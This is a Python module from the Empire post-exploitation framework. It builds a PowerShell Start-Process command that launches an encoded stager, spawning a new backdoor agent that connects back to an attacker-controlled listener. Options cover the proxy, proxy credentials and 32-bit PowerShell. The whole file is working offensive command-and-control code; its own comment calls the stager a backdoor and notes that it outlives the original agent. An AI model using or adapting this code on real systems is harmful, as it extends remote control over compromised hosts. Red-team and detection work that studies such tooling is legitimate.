Empire/lib/modules/management/spawn.py

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from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Spawn',
'Author': ['@harmj0y'],
'Description': ('Spawns a new agent in a new powershell.exe process.'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': []
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'SysWow64' : {
'Description' : 'Switch. Spawn a SysWow64 (32-bit) powershell.exe.',
'Required' : False,
'Value' : ''
},
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'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
sysWow64 = self.options['SysWow64']['Value']
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isEmpire = self.mainMenu.listeners.is_listener_empire(listenerName)
if not isEmpire:
print helpers.color("[!] Empire listener required!")
return ""
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
if sysWow64.lower() == "true":
stagerCode = "$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher
else:
stagerCode = "$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher
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parts = stagerCode.split(" ")
code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName)
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return code